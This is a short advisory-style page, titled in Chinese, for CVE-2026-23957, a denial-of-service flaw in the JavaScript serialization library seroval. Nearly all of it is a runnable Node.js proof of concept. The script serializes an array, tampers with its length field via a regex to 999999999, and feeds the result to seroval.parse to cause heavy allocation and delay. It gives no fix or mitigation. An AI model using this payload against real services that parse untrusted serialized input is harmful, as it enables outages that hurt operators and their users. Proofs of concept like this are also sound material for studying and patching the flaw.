CVE-2026-23957: seroval库反序列化拒绝服务漏洞

// CVE-2026-23957 PoC - Denial of Service via oversized array length const seroval = require('seroval'); // Create a normal object and serialize it const normalData = { items: [1, 2, 3] }; const serialized = seroval.stringify(normalData); console.log('Normal serialized:', serialized); // Malicious payload: Override array length with a huge value // The serialized format contains length information that can be tampered // Example: replacing array length '3' with a very large number like '999999999' const maliciousPayload = serialized.replace(/:3]/g, ':999999999]'); console.log('Malicious payload:', maliciousPayload); // Attempt to deserialize the malicious payload - triggers DoS try { const startTime = Date.now(); const result = seroval.parse(maliciousPayload); const endTime = Date.now(); console.log('Processing time:', endTime - startTime, 'ms'); } catch (error) { console.log('Error occurred:', error.message); } // Note: This causes significant processing delay due to oversized array allocation